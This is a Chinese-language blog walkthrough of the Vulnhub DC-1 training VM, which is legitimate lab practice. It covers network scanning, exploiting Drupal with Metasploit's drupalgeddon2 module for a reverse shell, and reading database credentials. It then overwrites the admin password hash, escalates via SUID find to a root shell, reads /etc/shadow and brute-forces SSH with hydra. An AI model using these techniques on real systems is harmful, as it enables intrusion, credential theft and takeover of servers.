zoukankan      html  css  js  c++  java
  • Vulnhub靶机实战—DC-1

    靶机DC-1下载地址:https://download.vulnhub.com/dc/DC-1.zip

    描述:

    靶机DC-1共有5个flag,并且需要root权限才可以找到并查看flag。
    将下载的ova文件导入VMware Workstation15(低版本不支持导入ova文件)。
    配置网络为nat模式(你需要知道你的靶机的IP网段,最好与kali攻击机处于同一网段)。

    环境:

    Vmware 15 Pro虚拟机软件
    DC-1靶机IP地址:192.168.232.132
    Kali的IP地址:192.168.232.128

    操作:

    查看kali的ip地址

    ifconfig
    

    kali ip:192.168.232.128
    扫靶机ip:

    arp-scan -l
    

    靶机ip:192.168.232.132
    注意:扫出来的.2和.254是默认的,并不是靶机ip。如果扫不到靶机ip,把靶机的网络设置为NAT模式重启,多扫几遍。
    nmap扫描靶机开放的端口(全端口扫)

    nmap -sVT -p- 192.168.232.132
    

    靶机开放了22,80,111,57084端口
    因为开放了80端口,直接网页访问192.136.232.132,看到典型的Drupal,启动Metersploit。(典型msf攻击)

    msfconsole
    search drupal
    

    尝试使用查询出来的模块,从一个开始尝试使用,发现只有三、五两个模块可以针对Drupal使用,并能够成功反弹shell,其他模块皆失败。

    msf > use exploit/unix/webapp/drupal_drupalgeddon2
    exploit(unix/webapp/drupal_drupalgeddon2) > show options
    exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 192.168.232.132
    exploit(unix/webapp/drupal_drupalgeddon2) > run
    

    反弹shell后,使用ls命令可以查看在当前/var/www目录下存在flag1.txt

    ls
    cat flag1.txt
    

    flag1:Every good CMS needs a config file - and so do you.
    每一个好的CMS都需要一个配置文件-你也是。
    查找后发现CMS的配置文件是网站根目录下的/site/default下的settings.php文件

    meterpreter > cd sites/default
    meterpreter > cat settings.php
    

    发现flag2和数据库配置文件

    Brute force and dictionary attacks aren't the only ways to gain access (and you WILL need access). What can you do with these credentials?

    暴力和字典攻击并不是获得访问权限的唯一方法(而且您需要访问权限)。你能用这些证件做什么?

    数据库信息:
    'database' => 'drupaldb',
    'username' => 'dbuser',
    'password' => 'R0ck3t',
    'host' => 'localhost',
    使用mysql命令登录,发现MySQL命令无效

    meterpreter > mysql -udbuser -pR0ck3t
    

    输入shell,切换外壳,再次登录mysql发现终端不能正常回显信息

    meterpreter > shell
    mysql -udbuser -pR0ck3t
    

    再次进入shell下,输入python命令,发现靶机已安装python 2.7.3,通过pty.spawn()获得交互式shell

    meterpreter > shell
    python -V
    python -c 'import pty; pty.spawn("/bin/bash")'
    

    使用上面找到mysql登录用户名和密码登录mysql数据库:

    mysql -udbuser -pR0ck3t    #登录MySQL数据库
    mysql> show databases;    #查看数据库
    

    有一个默认的数据库和drupaldb

    mysql> use drupaldb;     #使用drupaldb数据库
    mysql> show tables;       #查看数据库内的表
    

    找到users表,断定和用户密码有关.

    mysql> select * from users;   #查看users表内容
    name:admin  pass:$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
    

    接下来破解admin的密码
    使用Drupal对数据库的加密方法,加密脚本位置在网站根目录下的scripts下,使用加密脚本加密新密码123456,生成加密密文.

    ./scripts/password-hash.sh 123456
    password: 123456             
    hash: $S$DbpIRKV5QXrJK4Gbhb.LDFoTjqoYNKAOB.DY3V1BL.JMbMkZANhY
    

    修改admin用户的密码,更新为新密码:123456

    update  drupaldb.users  set pass="$S$DbpIRKV5QXrJK4Gbhb.LDFoTjqoYNKAOB.DY3V1BL.JMbMkZANhY" where uid=1;
    

    使用用户admin/123456登录网站,在content模块下,找到flag3。
    flag3:
    Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

    Flag3提示词有perms、find、-exec、shadow共四个特殊提示词
    应该要查看shadow文件,并使用find命令提权
    使用find命令查找有特殊权限suid的命令

    find / -perm -4000
    

    发现了/usr/bin/find
    使用find命令提权

    find ./ aaa -exec '/bin/sh' ;
    whoami
    

    得到root权限,查看/etc/shadow 文件,发现flag4用户,并且flag4用户可以登录并且有密码,所以存在flag4的家目录。

    cat /etc/shadow
    

    注:爆破flag4用户密码可以省略,可以在root提权后直接进入flag4家目录。

    wget http://www.openwall.com/john/j/john-1.8.0.tar.gz   #下载John密码包
    tar -xvf john-1.8.0.tar.gz  #解压缩
    cd john-1.8.0/ src    #进入源码目录下
    uname -a  #查看当前系统版本
    make linux-x86-64   #编译并指定当前的Linux系统版本
    

    使用hydra+John密码包对flag4的密码进行爆破,爆破密码为:flag4/orange。

    hydra -l flag4 -P john-1.8.0/run/password.lst ssh://192.168.232.132 -f -vV -o hydraflag4.ssh
    login: flag4   password: orange
    

    使用flag4用户可以通过ssh登录系统

    ssh flag4@192.168.220.130
    密码:orange
    

    进入flag4用户的家目录/home/flag4,找到flag4.txt文本文件,找到flag4。

    cd /home/flag4
    cat flag4.txt
    

    Flag4:
    Can you use this same method to find or access the flag in root?
    Probably. But perhaps it's not that easy. Or maybe it is?
    你能用同样的方法来查找或访问根目录中的标志吗?
    可能。但也许不是那么容易。或许是这样?

    在flag4中提示在root根目录下存在,进入到root家目录/root下找到thefinalflag.txt文本文件。

    cd /root
    cat thefinalflag.txt
    

    thefinalflag:
    Well done!!!!
    Hopefully you've enjoyed this and learned some new skills.
    You can let me know what you thought of this little journey
    by contacting me via Twitter - @DCAU7
    做得好!!!!!
    希望你喜欢这个并学到了一些新的技能。
    你可以让我知道你对这次小旅行的看法。
    通过Twitter联系我-@dcau7

    参考链接:
    https://blog.csdn.net/weixin_43583637/article/details/101542749
    https://blog.csdn.net/Auuuuuuuu/article/details/97832336

    2020-8-01 第二周

  • 相关阅读:
    多数据源报表解析之简单多源报表
    8.5.4 Optimizing InnoDB Redo Logging 优化InnoDB Redo Logging
    8.5.2 Optimizing InnoDB Transaction Management
    8.5.1 Optimizing Storage Layout for InnoDB Tables
    Linux_RHEL7_YUM
    Linux_RHEL7_YUM
    Python基本语法_函数_返回值
    Python基本语法_函数_返回值
    8.4 Optimizing Database Structure 优化数据库结构
    8.3.7 InnoDB and MyISAM Index Statistics Collection InnoDB 和MyISAM 索引统计信息收集
  • 原文地址:https://www.cnblogs.com/4Uuu/p/13414186.html
Copyright © 2011-2022 走看看